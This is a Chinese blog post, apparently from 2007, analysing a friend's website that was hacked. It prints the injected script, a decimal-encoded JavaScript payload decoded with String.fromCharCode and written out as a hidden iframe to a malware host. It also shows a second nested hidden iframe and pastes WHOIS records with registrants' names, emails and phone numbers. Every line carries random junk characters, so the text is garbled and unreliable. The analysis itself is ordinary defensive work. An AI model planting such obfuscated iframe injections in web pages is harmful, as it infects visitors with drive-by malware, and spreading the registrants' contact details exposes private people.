首发在我的博客里面，
9N{?J"ido l4.ql1BX@y http://www.areway.cn/?p=175 ^Y;,cLXJ 1 gcWw, / ::'Y07 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
~piE$"]&
!bCL/[ <script>t=’60,105,102,114,97,109,101,
=nc;~u|] 32,115,114,99,61,104,116,116,112,58,47,47,
<#57q% 102,114,101,101,46,117,45,117,117,117,46,99,
X%znNx 110,47,101,114,114,111,114,46,104,116,109,
C GlE c 32,119,105,100,116,104,61,49,48,48,32,104,
s! 101,105,103,104,116,61,48,62,60,47,105,102,
Eu~1t& 4 114,97,109,101,62′;
wB' !@>db t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
,H,[ )8
f+ !J1 <script>t=’60,105,102,114,97,109,101,32,115,
"crp/Bj ? 114,99,61,104,116,116,112,58,47,47,102,114,
OFmHj] I7= 101,101,46,117,45,117,117,117,46,99,110,47,
r|*_KQq 101,114,114,111,114,46,104,116,109,32,119,
Z< ^EZX3N 105,100,116,104,61,49,48,48,32,104,101,105,
[7~AWZU3 103,104,116,61,48,62,60,47,105,102,114,97,
J$5 G8<d> 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
?Js4 \X!uJ document.write(t);</script>
gq 3|vzNZ B8"c+<b <html xmlns=”
@ #hvQ6u http://www.w3.org/1999/xhtml = M4:nt “>
iR./9}Ze <head>
9W]OtS G <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
1n}#54 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
8>
$=p4bf <title>首页 - 爱生活家庭网
XNfl IHi[3xf< 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
f=Pn,.>tIz 转换字符串后的大概内容是（谁点击后果自付）：
_ deEs5i <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
X$1YvYsID ~|Ln9f-g 查询玉米u-uuu.cn的详细信息：
, .~ k Domain Name: u-uuu.cn
_[rQt8zn ROID: 20070901s10001s64972306-cn
dQ-shfTr] Domain Status: ok
j$XaO%y) Registrant Organization: 王雷
v=hn# U Registrant Name: 王雷
60$;Q,]o Administrative Email:
czlovexs@126.com _h \L6. Sponsoring Registrar: 北京万网志成科技有限公司
&Wb"/Hn2 Name Server:ns.yovole.com
[q3zs_nz Name Server:ns1.yovole.com
<;W-!R759 Registration Date: 2007-09-01 17:54
}N(gP_ ?n Expiration Date: 2008-09-01 17:54
%C qp88 ] 最后PING了一下地址 都没有什么….
Oso**WUOZ& Q c?W;Q+ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
p% sizn <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
yp^k;G?_d <script language=”javascript” src=”
Iy4%,8C]g http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script O $e"3^Pa >
EmrkaV-?k 这个玉米应该有可能是木马作者的：
LL
(TD& foafau.info的详细信息：
W^xO/xu1 / Access to INFO WHOIS information is provided to assist persons in
[xrsa!$ determining the contents of a domain name registration record in the
^xNzppz`]C Afilias registry database. The data in this record is provided by
[
't.x= Afilias Limited for informational purposes only, and Afilias does not
yhbU;qEG9 guarantee its accuracy. This service is intended only for query-based
N\Lu+ x5 access. You agree that you will use this data only for lawful purposes
PX/{!_mM and that, under no circumstances will you use this data to: (a) allow,
Z'2AsT enable, or otherwise support the transmission by e-mail, telephone, or
+^esL9RG: facsimile of mass unsolicited, commercial advertising or solicitations
X0^@ E to entities other than the data recipient’s own existing customers; or
/FC
HF#yK (b) enable high volume, automated, electronic processes that send
~CV.Ci.dG queries or data to the systems of Registry Operator, a Registrar, or
:;+_<pk Afilias except as reasonably necessary to register domain names or
.81Y/Gad_ modify existing registrations. All rights reserved. Afilias reserves
F <6(Hw#> the right to modify these terms at any time. By submitting this query,
}v|_]
you agree to abide by this policy.
\<`o W> Domain ID:D22418703-LRMS
XR7v\rd Domain Name:FOAFAU.INFO
0&I*)Zt9x Created On:20-Nov-2007 16:05:42 UTC
Ly^bP>2i Last Updated On:20-Nov-2007 16:05:44 UTC
/@1YlxKF Expiration Date:20-Nov-2008 16:05:42 UTC
52Lp_M Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
lOeX5%$Z Status:CLIENT DELETE PROHIBITED
!1i-"rR Status:CLIENT RENEW PROHIBITED
R -NM ~gp Status:CLIENT TRANSFER PROHIBITED
)f IG4#%\ Status:CLIENT UPDATE PROHIBITED
$.d,>F6 Status:TRANSFER PROHIBITED
l-v m`-_# Registrant ID:GODA-040110615
"]q
xjs^3? Registrant Name:liu hong
^< cJ;u*0 Registrant Organization:
o/V T"cT Registrant Street1:beijing
%CvVu)tc Registrant Street2:
g~.#.S ds Registrant Street3:
<&) hg: Registrant City:beijing
V,N u!$)J Registrant State/Province:
wL,
-" Registrant Postal Code:100000
> K,QP<B Registrant Country:CN
^W:a7cMw Registrant Phone:+86.860108888777
: Bo Registrant Phone Ext.:
:n{{\SSIgX Registrant FAX:
~M H ^R1=] Registrant FAX Ext.:
0?/gE r Registrant Email:bbbshiji@163.com
^zO{A ks Admin ID:GODA-240110615
s K+ uw t Admin Name:liu hong
XL aD#J Admin Organization:
~BuB ma_ Admin Street1:beijing
F _R\ Admin Street2:
&@ CUxK Admin Street3:
j|Vl\Z&o) Admin City:beijing
Xy K, Admin State/Province:
1`L.$T,1! Admin Postal Code:100000
$"|r7n5[ Admin Country:CN
m^qFaf)6 Admin Phone:+86.860108888777
m{RXt Admin Phone Ext.:
%} zkmEY.e Admin FAX:
[Z:P{yr Admin FAX Ext.:
inO;Uwlv Admin Email:bbbshiji@163.com
)}N:t:rry Billing ID:GODA-340110615
.|go$}Fk Billing Name:liu hong
[fT$ # '6 Billing Organization:
JZxA:dg
l Billing Street1:beijing
y3 N[F Billing Street2:
# CI0 G Billing Street3:
FA{Q6fi:2 Billing City:beijing
:X'B K4EN Billing State/Province:
[[<TW} Billing Postal Code:100000
uQdy Billing Country:CN
=gJ{75tV3 Billing Phone:+86.860108888777
nyR<pnuC' Billing Phone Ext.:
62'9lriQ Billing FAX:
%Y;^$%X% _ Billing FAX Ext.:
d1c+Ii% Billing Email:bbbshiji@163.com
rm3/R< Tech ID:GODA-140110615
J Hm Pa Tech Name:liu hong
!<~.>5UQ Tech Organization:
+
<E
zv Tech Street1:beijing
weu+$Kr
Tech Street2:
+8?18@obp Tech Street3:
_p 1!8*0] Tech City:beijing
-['& aey}a Tech State/Province:
yeta)@nH Tech Postal Code:100000
U n)Xe Tech Country:CN
/LWk>[Z; Tech Phone:+86.860108888777
;-py h ( Tech Phone Ext.:
6AY( /N8V Tech FAX:
L7(FD v,? Tech FAX Ext.:
\7qj hA@ Tech Email:bbbshiji@163.com
t(roj@!x_o Name Server:NS27.DOMAINCONTROL.COM
e
}C,) Name Server:NS28.DOMAINCONTROL.COM
*@#Gc%mGu Name Server:
N]iarYc Name Server:
ETU-6qFtO Name Server:
B%Qo6* b Name Server:
!=,zy Name Server:
%SIll Name Server:
?K2EK' -q Name Server:
j~ds)dW%`& Name Server:
GEVDXx>@ Name Server:
l\AdL$$Mb Name Server:
*?1 \S^7R Name Server:
Tb2#y ]27 o*7NyiJ@z 接着下载每个文件里面的代码：
j96}E/gF 一步一步看..
IZ>l 
}qp)VF 
H6K8. 
mUP!jTF 
ju[y-am$/ 
"wZvr}xk 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
